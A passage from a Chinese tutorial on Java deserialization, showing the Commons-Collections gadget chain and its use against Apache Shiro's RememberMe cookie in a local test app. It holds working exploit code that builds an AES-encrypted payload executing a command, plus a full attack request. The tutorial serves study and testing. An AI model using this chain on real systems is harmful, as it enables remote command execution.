  41.     }
  43.     ...   
  44. }

getKey() 直接返回了字符串，不用考虑了。

getValue() 是从构造方法传入的 map 中根据 传入的key 获取值。那么有没有一个 Map 的 get 方法可以调用 org.apache.commons.collections.Transformer 的 transform 方法呢？答案是有的，而且它还是 commons-collections 3.1 中的一个类。

0x02

org.apache.commons.collections.map.LazyMap 顾名思义是一个懒加载的 Map，它继承自 AbstractMapDecorator,并且实现了 Map 和 Serializable接口。 它的构造方法有两个参数，一个是 java.util.Map，一个是org.apache.commons.collections.Transformer。它重写了Map的 get 方法，先判断构造方法传入的 map 中是否包含 key，不包含时会调用 transformer 的 transform 的方法进行转换，并进行后续的赋值和返回，代码如下:

  1. public Object get(Object key) {
  2.     // create value for key if key is not currently in the map
  3.     if (map.containsKey(key) == false) {
  4.         Object value = factory.transform(key);
  5.         map.put(key, value);
  6.         return value;
  7.     }
  8.     return map.get(key);
  9. }

我们来实际测试一下。

为简化代码，我们把序列化和反序列化代码做成工具类使用。

  1. package org.hai;
  3. import java.io.*;
  5. public class Utils {
  6.     /**
  7.      * 将对象序列化为字节数组
  8.      *
  9.      * @param obj 对象
  10.      * @return 字节数组
  11.      * @throws IOException IO异常
  12.      */
  13.     public static byte[] serialize(final Object obj) throws IOException {
  14.         final ByteArrayOutputStream out = new ByteArrayOutputStream();
  15.         try (ObjectOutputStream objOut = new ObjectOutputStream(out)) {
  16.             objOut.writeObject(obj);
  17.             objOut.flush();
  18.         }
  19.         return out.toByteArray();
  20.     }
  22.     /**
  23.      * 将字节数组序列化对象
  24.      *
  25.      * @param bytes 字节数组
  26.      * @return 对象
  27.      * @throws IOException            IO异常
  28.      * @throws ClassNotFoundException 类找不到异常
  29.      */
  30.     public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
  31.         try (ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
  32.             return input.readObject();
  33.         }
  34.     }
  35. }

修改之前的测试代码。

  1. package org.hai;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  10. import javax.management.BadAttributeValueExpException;
  11. import java.lang.reflect.Field;
  12. import java.nio.charset.StandardCharsets;
  13. import java.util.Base64;
  14. import java.util.HashMap;
  15. import java.util.Map;
  17. public class Demo6 {
  19.     public static void main1(String[] args) throws Exception {
  21.         Transformer[] transformers = new Transformer[]{
  22.                 new ConstantTransformer(Runtime.class),
  23.                 new InvokerTransformer(
  24.                         "getMethod",
  25.                         new Class[]{String.class, Class[].class},
  26.                         new Object[]{"getRuntime", null}
  27.                 ),
  28.                 new InvokerTransformer(
  29.                         "invoke",
  30.                         new Class[]{Object.class, Object[].class},
  31.                         new Object[]{null, null}
  32.                 ),
  33.                 new InvokerTransformer(
  34.                         "exec",
  35.                         new Class[]{String.class},
  36.                         new Object[]{"calc"}
  37.                 )
  38.         };
  40.         // 把 Transformer 使用链的方式调用，从上到下，不用再每次执行
  41.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);
  44.         // 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法
  45.         Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  46.         // 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 key
  47.         TiedMapEntry entry = new TiedMapEntry(lazyMap, "张三");
  48.         // 创建BadAttributeValueExpException对象，类型是 public 的，无需使用反射创建
  49.         BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
  50.         // 成员 val 没有setVal 方法，只能通过反射修改
  51.         Field valField = obj.getClass().getDeclaredField("val");
  52.         valField.setAccessible(true);
  53.         valField.set(obj, entry);
  55.         // 将用户序列化为字节数组，将字节数组进行base64编码，无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
  56.         final String data = Base64.getEncoder().encodeToString(Utils.serialize(obj));
  57.         System.out.println("序列化后：" + data);
  59.         // 将base64编码的数据再解码为字节数组
  60.         final Object o = Utils.deserialize(Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8)));
  61.         System.out.println("反序列化：" + o);
  62.     }
  63. }

在最新版 jdk 1.8.0_301 上测试通过，弹出了计算器。

Shiro反序列化验证

shiro 的 RememberMe 功能就是利用了 Java 的反序列化来实现的，不过它并不是直接将对象序列化成数组后简单使用 base64 编码就写入到 Cookie 中，而是将对象字节数组进行了一次 AES 加密，最后才 base64 编码写入到 Cookie 中。

以最新版 shiro 1.8.0 为例， org.apache.shiro.mgt.AbstractRememberMeManager 的 onSuccessfulLogin 方法中，当打开 RememberMe 后会调用 rememberIdentity 方法。

  1. public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
  2.     //always clear any previous identity:
  3.     forgetIdentity(subject);
  5.     //now save the new identity:
  6.     if (isRememberMe(token)) {
  7.         rememberIdentity(subject, token, info);
  8.     } else {
  9.         if (log.isDebugEnabled()) {
  10.             log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +
  11.                     "RememberMe functionality will not be executed for corresponding account.");
  12.         }
  13.     }
  14. }

rememberIdentity 方法如下：

  1. public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
  2.     // 生成身份认证信息
  3.     PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
  4.     // 实现记住登录
  5.     rememberIdentity(subject, principals);
  6. }

rememberIdentity 方法如下：

  1. protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
  2.     // 将身份认证信息序列化为字节数组
  3.     byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
  4.     // 将字节数组写入到Cookie中
  5.     rememberSerializedIdentity(subject, bytes);
  6. }

convertPrincipalsToBytes 方法如下：

  1. protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
  2.     // 将身份认证信息序列化为字节数组，最终会调用 DefaultSerializer 的 serialize 方法
  3.     byte[] bytes = serialize(principals);
  4.     if (getCipherService() != null) {
  5.         // 如果加密服务存在则进行一次AES加密，在加密时会使用当前设置的密钥
  6.         bytes = encrypt(bytes);
  7.     }
  8.     return bytes;
  9. }

rememberSerializedIdentity 方法如下：

  1. protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
  3.     if (!WebUtils.isHttp(subject)) {
  4.         if (log.isDebugEnabled()) {
  5.             String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
  6.                     "request and response in order to set the rememberMe cookie. Returning immediately and " +
  7.                     "ignoring rememberMe operation.";
  8.             log.debug(msg);
  9.         }
  10.         return;
  11.     }
  14.     HttpServletRequest request = WebUtils.getHttpRequest(subject);
  15.     HttpServletResponse response = WebUtils.getHttpResponse(subject);
  17.     //base 64 encode it and store as a cookie:
  18.     String base64 = Base64.encodeToString(serialized);
  20.     Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
  21.     Cookie cookie = new SimpleCookie(template);
  22.     cookie.setValue(base64);
  23.     cookie.saveTo(request, response);
  24. }

最终会将身份认证信息写入到 Cookie 中。

反序列化的过程类似，不过是把这个流程反过来。因此我们可以得出一个结论。

只要目标系统中同时有使用 shiro 和 commons-collections 3.1，并且在得知了AES密钥，即可触发远程命令执行漏洞。

0x01 搭建测试环境

我们使用 springboot 搭建一个测试环境。

使用 maven 创建好一个包含 web 的 springboot 项目后，在 pom.xml 增加两个依赖：

  1. <dependency>
  2.     <groupId>commons-collections</groupId>
  3.     <artifactId>commons-collections</artifactId>
  4.     <version>3.2.1</version>
  5. </dependency>
  7. <dependency>
  8.     <groupId>org.apache.shiro</groupId>
  9.     <artifactId>shiro-spring-boot-web-starter</artifactId>
  10.     <version>1.8.0</version>
  11. </dependency>

然后增加两个类配置 shiro 。

  1. import org.apache.shiro.realm.Realm;
  2. import org.apache.shiro.realm.text.TextConfigurationRealm;
  3. import org.springframework.context.annotation.Bean;
  4. import org.springframework.context.annotation.Configuration;
  6. @Configuration
  7. public class ShiroRealmConfig {
  9.     @Bean
  10.     public Realm realm() {
  11.         TextConfigurationRealm realm = new TextConfigurationRealm();
  12.         // 配置账户信息
  13.         realm.setUserDefinitions("user=password,user\n" + "admin=password,admin");
  14.         realm.setRoleDefinitions("admin=read,write\n" + "user=read");
  15.         realm.setCachingEnabled(true);
  16.         return realm;
  17.     }
  18. }
  1. import org.apache.shiro.mgt.SecurityManager;
  2. import org.apache.shiro.web.mgt.CookieRememberMeManager;
  3. import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
  4. import org.springframework.context.annotation.Configuration;
  6. import javax.annotation.PostConstruct;
  7. import javax.annotation.Resource;
  8. import java.util.Base64;
  10. @Configuration
  11. public class ShiroSecurityConfig {
  13.     @Resource
  14.     private SecurityManager securityManager;
  16.     @PostConstruct
  17.     public void init() {
  18.         // 配置记住登录管理器，并且设置 AES 加密的 key
  19.         CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
  20.         cookieRememberMeManager.setCipherKey(Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg=="));
  21.         ((DefaultWebSecurityManager) securityManager).setRememberMeManager(cookieRememberMeManager);
  22.     }
  23. }

0x02 生成 payload

  1. package org.hai;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import org.apache.shiro.crypto.AesCipherService;
  10. import org.apache.shiro.util.ByteSource;
  12. import javax.management.BadAttributeValueExpException;
  13. import java.lang.reflect.Field;
  14. import java.util.Base64;
  15. import java.util.HashMap;
  16. import java.util.Map;
  18. public class Demo7 {
  20.     public static void main(String[] args) throws Exception {
  21.         Transformer[] transformers = new Transformer[]{
  22.                 new ConstantTransformer(Runtime.class),
  23.                 new InvokerTransformer(
  24.                         "getMethod",
  25.                         new Class[]{String.class, Class[].class},
  26.                         new Object[]{"getRuntime", null}
  27.                 ),
  28.                 new InvokerTransformer(
  29.                         "invoke",
  30.                         new Class[]{Object.class, Object[].class},
  31.                         new Object[]{null, null}
  32.                 ),
  33.                 new InvokerTransformer(
  34.                         "exec",
  35.                         new Class[]{String.class},
  36.                         new Object[]{"calc"}
  37.                 )
  38.         };
  40.         // 把 Transformer 使用链的方式调用，从上到下，不用再每次执行
  41.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);
  44.         // 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法
  45.         Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  46.         // 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 key
  47.         TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  48.         // 创建BadAttributeValueExpException对象，类型是 public 的，无需使用反射创建
  49.         BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
  50.         // 成员 val 没有setVal 方法，只能通过反射修改
  51.         Field valField = obj.getClass().getDeclaredField("val");
  52.         valField.setAccessible(true);
  53.         valField.set(obj, entry);
  55.         /*-----------------------序列化----------------------------*/
  56.         final byte[] bytes = Utils.serialize(obj);
  58.         byte[] key = Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg==");
  60.         // 创建一个 shiro 的 AES 加密服务类
  61.         AesCipherService aesCipherService = new AesCipherService();
  62.         // 使用 AES 加密序列化后的字节数组
  63.         ByteSource encrypt = aesCipherService.encrypt(bytes, key);
  64.         // 将加密后的字节数组转换使用 Base64 编码后输出
  65.         String encoder = Base64.getEncoder().encodeToString(encrypt.getBytes());
  66.         System.out.println("序列化后+AES加密+base64 encode：" + encoder);
  69.         /*-----------------------反序列化----------------------------*/
  70.         // 使用Base64 解码字符串为字节数组， 并使用AES 解密字节数组
  71.         ByteSource decrypt = aesCipherService.decrypt(Base64.getDecoder().decode(encoder), key);
  72.         // 反序列化为对象
  73.         final Object o = Utils.deserialize(decrypt.getBytes());
  74.         System.out.println("反序列化+AES解密+base64 decode：" + o);
  76.     }
  77. }

0x03

  1. GET /index_shiro HTTP/1.1
  2. HOST: 127.0.0.1:8080
  3. Content-Length: 0
  4. Cookie: rememberMe=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

Burp发送请求，便可以看到本地计算机打开了计算器程序。

注

文中测试使用系统和工具版本如下：

  • 操作系统 windows 10 10.0.14393
  • jdk openjdk 8u60 zulujdk 8u312
  • springboot 2.5.7
  • commons-collections 3.1
  • shiro 1.8.0